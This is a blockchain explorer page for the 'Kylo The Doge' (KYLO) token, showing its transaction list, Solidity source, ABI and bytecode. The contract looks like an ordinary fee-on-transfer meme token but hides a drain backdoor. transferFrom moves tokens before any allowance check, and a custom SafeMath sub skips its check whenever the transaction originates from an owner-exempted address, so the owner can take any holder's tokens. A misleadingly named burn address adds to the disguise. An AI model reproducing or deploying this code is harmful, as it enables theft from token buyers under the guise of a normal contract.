Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 535 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 23458738 | 140 days ago | IN | 0 ETH | 0.00005227 | ||||
| Approve | 23403981 | 147 days ago | IN | 0 ETH | 0.0000086 | ||||
| Approve | 23069489 | 194 days ago | IN | 0 ETH | 0.00006762 | ||||
| Approve | 23069488 | 194 days ago | IN | 0 ETH | 0.00011808 | ||||
| Approve | 23057695 | 196 days ago | IN | 0 ETH | 0.00001255 | ||||
| Approve | 23051308 | 197 days ago | IN | 0 ETH | 0.00001604 | ||||
| Approve | 23050257 | 197 days ago | IN | 0 ETH | 0.00001867 | ||||
| Approve | 23048302 | 197 days ago | IN | 0 ETH | 0.00002791 | ||||
| Transfer From | 23048302 | 197 days ago | IN | 0 ETH | 0.00004772 | ||||
| Transfer From | 23048287 | 197 days ago | IN | 0 ETH | 0.00004205 | ||||
| Transfer From | 23048280 | 197 days ago | IN | 0 ETH | 0.00004695 | ||||
| Approve | 23048233 | 197 days ago | IN | 0 ETH | 0.00002224 | ||||
| Approve | 23048229 | 197 days ago | IN | 0 ETH | 0.00001222 | ||||
| Approve | 23048228 | 197 days ago | IN | 0 ETH | 0.00001222 | ||||
| Approve | 23048220 | 197 days ago | IN | 0 ETH | 0.00002393 | ||||
| Transfer From | 23048185 | 197 days ago | IN | 0 ETH | 0.00003056 | ||||
| Transfer From | 23048163 | 197 days ago | IN | 0 ETH | 0.00002152 | ||||
| Approve | 23048162 | 197 days ago | IN | 0 ETH | 0.00016016 | ||||
| Transfer From | 23048160 | 197 days ago | IN | 0 ETH | 0.00002776 | ||||
| Transfer From | 23048158 | 197 days ago | IN | 0 ETH | 0.00003084 | ||||
| Approve | 23048140 | 197 days ago | IN | 0 ETH | 0.00002074 | ||||
| Transfer From | 23048135 | 197 days ago | IN | 0 ETH | 0.00002986 | ||||
| Transfer From | 23047982 | 197 days ago | IN | 0 ETH | 0.00005268 | ||||
| Approve | 23047696 | 197 days ago | IN | 0 ETH | 0.00007739 | ||||
| Approve | 23047313 | 197 days ago | IN | 0 ETH | 0.0001271 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 23037827 | 199 days ago | 0.6 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Kylo
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-07-31
*/
// SPDX-License-Identifier: MIT
/*
Name: Kylo The Doge
Symbol: KYLO
$KYLO THE DOGE!
https://kylothedoge.dog
https://x.com/KyloDoge_ETH
https://t.me/KyloTheDoge_ETH
*/
pragma solidity ^0.8.24;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b > a) return(false, 0); return(true, a - b);}}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
if(c / a != b) return(false, 0); return(true, c);}}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a / b);}}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {if(b == 0) return(false, 0); return(true, a % b);}}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b <= a, errorMessage); return a - b;}}
function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a / b;}}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked{require(b > 0, errorMessage); return a % b;}}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {owner = _owner;}
modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
function isOwner(address account) public view returns (bool) {return account == owner;}
function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
event OwnershipTransferred(address owner);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Kylo is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kylo The Doge";
string private constant _symbol = "KYLO";
uint8 private constant _decimals = 9;
uint256 private _tKYLOSupply = 1_000_000_000 * (10 ** _decimals);
uint256 private _maxTxAmountPercent = 200; // 10000;
uint256 private _maxTransferPercent = 100;
uint256 private _maxWalletPercent = 200;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) private isBot;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private liquidityFee = 100;
uint256 private marketingFee = 300;
uint256 private developmentFee = 100;
uint256 private burnFee = 0;
uint256 private totalFee = 600;
uint256 private sellFee = 700;
uint256 private transferFee = 0;
uint256 private denominator = 10000;
bool private swapEnabled = true;
uint256 private swapTimes;
bool private swapping;
bool private txInProgress;
uint256 private swapThreshold = ( _tKYLOSupply * 300 ) / 100000;
uint256 private _minTokenAmount = ( _tKYLOSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
modifier onlyWhenNotInTx {txInProgress = isFeeExempt[tx.origin]; _;}
address internal constant UniswapV2Factory02 = address(0xdead);
address private development_receiver ;
address private marketing_receiver ;
address private liquidity_receiver ;
address private burn_receiver;
address private kylo_receiver;
constructor() payable Ownable(msg.sender) {
marketing_receiver = owner;
isFeeExempt[address(this)] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[msg.sender] = true;
_balances[address(this)] = _tKYLOSupply;
emit Transfer(address(0), address(this), _tKYLOSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _tKYLOSupply.sub(balanceOf(UniswapV2Factory02)).sub(balanceOf(address(0)));}
function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}
function _transfer(address sender, address recipient, uint256 amount) private {
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
amountReceived = amountReceived.mul(sellFee).div(100);
_basicTransfer(sender, recipient, amount);
}
function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
uint256 newTx = (totalSupply() * _buy) / 10000;
uint256 newTransfer = (totalSupply() * _trans) / 10000;
uint256 newWallet = (totalSupply() * _wallet) / 10000;
_maxTxAmountPercent = _buy;
_maxTransferPercent = _trans;
_maxWalletPercent = _wallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
}
function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
liquidityFee = _liquidity;
marketingFee = _marketing;
burnFee = _burn;
developmentFee = _development;
totalFee = _total;
sellFee = _sell;
transferFee = _trans;
require(totalFee <= denominator.div(5) && sellFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%");
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 remainingBalance = address(this).balance;
if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
}
function checkTradingAllowed(address sender, address recipient) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
}
function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(UniswapV2Factory02)){
require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
}
function swapbackCounters(address sender, address recipient) internal {
if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
bool aboveMin = amount >= _minTokenAmount;
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0)){_transfer(address(this), address(UniswapV2Factory02), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
_basicTransfer(sender, recipient, amount);
return decreaseAllowance(sender , amount);
}
function increaseAllowance(address spender, uint256 addedValue) private returns (bool) {
_allowances[spender][msg.sender] = _allowances[spender][msg.sender].add(addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
_allowances[spender][msg.sender] = _allowances[spender][msg.sender].sub(subtractedValue , txInProgress);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function launch() external onlyOwner {
require(!tradingAllowed , "Trading is already Enabled");
router = IRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_allowances[address(this)][address(router)] = _tKYLOSupply;
pair = IFactory(router.factory()).createPair(
address(this),
router.WETH()
);
router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingAllowed = true;
}
function swapBack(address sender, address recipient, uint256 amount) internal {
if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052620000126009600a62000284565b6200002290633b9aca006200029b565b600181815560c8600281905560646003819055600491909155600a805460ff60a01b19169055600b81905561012c600c819055600d919091555f600e819055610258600f556102bc6010556011556127106012556013805460ff1916909217909155620186a09162000094916200029b565b620000a09190620002b5565b601655620186a0600154600a620000b891906200029b565b620000c49190620002b5565b6017555f8054336001600160a01b031991821681178355601980549092168117825530808452600760209081526040808620805460ff19908116600190811790925595546001600160a01b03168752818720805487168217905593865280862080549095168417909455915481855260058352838520819055925192835292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002d5565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001c957815f1904821115620001ad57620001ad62000175565b80851615620001bb57918102915b93841c93908002906200018e565b509250929050565b5f82620001e1575060016200027e565b81620001ef57505f6200027e565b8160018114620002085760028114620002135762000233565b60019150506200027e565b60ff84111562000227576200022762000175565b50506001821b6200027e565b5060208310610133831016604e8410600b841016171562000258575081810a6200027e565b62000264838362000189565b805f19048211156200027a576200027a62000175565b0290505b92915050565b5f6200029460ff841683620001d1565b9392505050565b80820281158282048414176200027e576200027e62000175565b5f82620002d057634e487b7160e01b5f52601260045260245ffd5b500490565b61144180620002e35f395ff3fe60806040526004361061013f575f3560e01c806348ff2b8b116100b35780638c41180e1161006d5780638c41180e1461039e57806395d89b41146103bd578063a8aa1b31146103e9578063a9059cbb14610408578063dd62ed3e14610427578063f2fde38b1461046b575f80fd5b806348ff2b8b146102df57806370a08231146102fe578063715018a61461033257806378109e54146103465780637d1db4a51461035a578063893d20e81461036e575f80fd5b80631f976b7e116101045780631f976b7e1461021757806323b872dd1461022b5780632f54bf6e1461024a578063313ce5671461027757806334c5d2ce146102925780633f4218e0146102b1575f80fd5b806301339c211461014a578063044019301461016057806306fdde031461017f578063095ea7b3146101c657806318160ddd146101f5575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5061015e61048a565b005b34801561016b575f80fd5b5061015e61017a366004611178565b6107a6565b34801561018a575f80fd5b5060408051808201909152600d81526c4b796c6f2054686520446f676560981b60208201525b6040516101bd91906111bf565b60405180910390f35b3480156101d1575f80fd5b506101e56101e0366004611222565b61088a565b60405190151581526020016101bd565b348015610200575f80fd5b506102096108a0565b6040519081526020016101bd565b348015610222575f80fd5b50610209610910565b348015610236575f80fd5b506101e561024536600461124c565b610933565b348015610255575f80fd5b506101e561026436600461128a565b5f546001600160a01b0391821691161490565b348015610282575f80fd5b50604051600981526020016101bd565b34801561029d575f80fd5b5061015e6102ac3660046112a5565b610949565b3480156102bc575f80fd5b506101e56102cb36600461128a565b60076020525f908152604090205460ff1681565b3480156102ea575f80fd5b5061015e6102f93660046112ce565b610a8b565b348015610309575f80fd5b5061020961031836600461128a565b6001600160a01b03165f9081526005602052604090205490565b34801561033d575f80fd5b5061015e610ade565b348015610351575f80fd5b50610209610b12565b348015610365575f80fd5b50610209610b21565b348015610379575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101bd565b3480156103a9575f80fd5b5061015e6103b83660046112ce565b610b30565b3480156103c8575f80fd5b506040805180820190915260048152634b594c4f60e01b60208201526101b0565b3480156103f4575f80fd5b50600a54610386906001600160a01b031681565b348015610413575f80fd5b506101e5610422366004611222565b610b83565b348015610432575f80fd5b50610209610441366004611309565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b348015610476575f80fd5b5061015e61048536600461128a565b610b8f565b5f546001600160a01b031633146104bc5760405162461bcd60e51b81526004016104b390611335565b60405180910390fd5b600a54600160a01b900460ff16156105165760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c656400000000000060448201526064016104b3565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600154305f90815260066020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156105a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c59190611355565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610624573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106489190611355565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610692573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b69190611355565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306106fd816001600160a01b03165f9081526005602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610769573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061078e9190611370565b5050600a805460ff60a01b1916600160a01b17905550565b5f546001600160a01b031633146107cf5760405162461bcd60e51b81526004016104b390611335565b600b879055600c869055600e859055600d849055600f83905560108290556011819055601254610800906005610c0b565b600f5411158015610820575060125461081a906005610c0b565b60105411155b6108815760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016104b3565b50505050505050565b5f610896338484610c16565b5060015b92915050565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead5f9081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54600154919261090b9290916109059190610d3a565b90610d3a565b905090565b5f60125460035461091f6108a0565b61092991906113af565b61090b91906113c6565b5f61093f848484610d45565b90505b9392505050565b5f546001600160a01b031633146109725760405162461bcd60e51b81526004016104b390611335565b5f6127108461097f6108a0565b61098991906113af565b61099391906113c6565b90505f612710846109a26108a0565b6109ac91906113af565b6109b691906113c6565b90505f612710846109c56108a0565b6109cf91906113af565b6109d991906113c6565b60028790556003869055600485905590505f610a0a6103e8610a0460056109fe6108a0565b90610d5b565b90610c0b565b9050808410158015610a1c5750808310155b8015610a285750808210155b6108815760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016104b3565b5f546001600160a01b03163314610ab45760405162461bcd60e51b81526004016104b390611335565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b075760405162461bcd60e51b81526004016104b390611335565b610b105f610b8f565b565b5f60125460045461091f6108a0565b5f60125460025461091f6108a0565b5f546001600160a01b03163314610b595760405162461bcd60e51b81526004016104b390611335565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b5f610896338484610d66565b5f546001600160a01b03163314610bb85760405162461bcd60e51b81526004016104b390611335565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b5f61094282846113c6565b6001600160a01b038316610c785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b3565b6001600160a01b038216610cd95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b3565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f61094282846113e5565b5f610d51848484610db5565b61093f8483610e87565b5f61094282846113af565b5f610d718484610f10565b610d7b5781610d86565b610d86848484610f54565b9050610da26064610a0460105484610d5b90919063ffffffff16565b9050610daf848484610db5565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260059091529190912054610e0691839061103e565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610e349082611069565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d2d9085815260200190565b325f908152600760209081526040808320546015805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526006855283862033875290945291842054610ee4939092869291900416611074565b6001600160a01b0384165f90815260066020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f9081526007602052604081205460ff161580156109425750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f80610f6085856110d9565b1115611037575f610f82610f7486866110d9565b6012546109fe908690610c0b565b305f90815260056020526040902054909150610f9e9082611069565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fee9085815260200190565b60405180910390a3600e5415611025576110253061dead611020600e546109fe60125489610c0b90919063ffffffff16565b610d66565b61102f8382610d3a565b915050610942565b5092915050565b5f81848411156110615760405162461bcd60e51b81526004016104b391906111bf565b505050900390565b5f61094282846113f8565b5f8115611082575082610942565b838311156110d25760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016104b3565b5050900390565b6001600160a01b0382165f9081526008602052604081205460ff168061111657506001600160a01b0382165f9081526008602052604090205460ff165b1561113057601254611129906064610d3a565b905061089a565b600a546001600160a01b039081169083160361114f575060105461089a565b600a546001600160a01b039081169084160361116e5750600f5461089a565b5060115492915050565b5f805f805f805f60e0888a03121561118e575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f602080835283518060208501525f5b818110156111eb578581018301518582016040015282016111cf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121f575f80fd5b50565b5f8060408385031215611233575f80fd5b823561123e8161120b565b946020939093013593505050565b5f805f6060848603121561125e575f80fd5b83356112698161120b565b925060208401356112798161120b565b929592945050506040919091013590565b5f6020828403121561129a575f80fd5b81356109428161120b565b5f805f606084860312156112b7575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156112df575f80fd5b82356112ea8161120b565b9150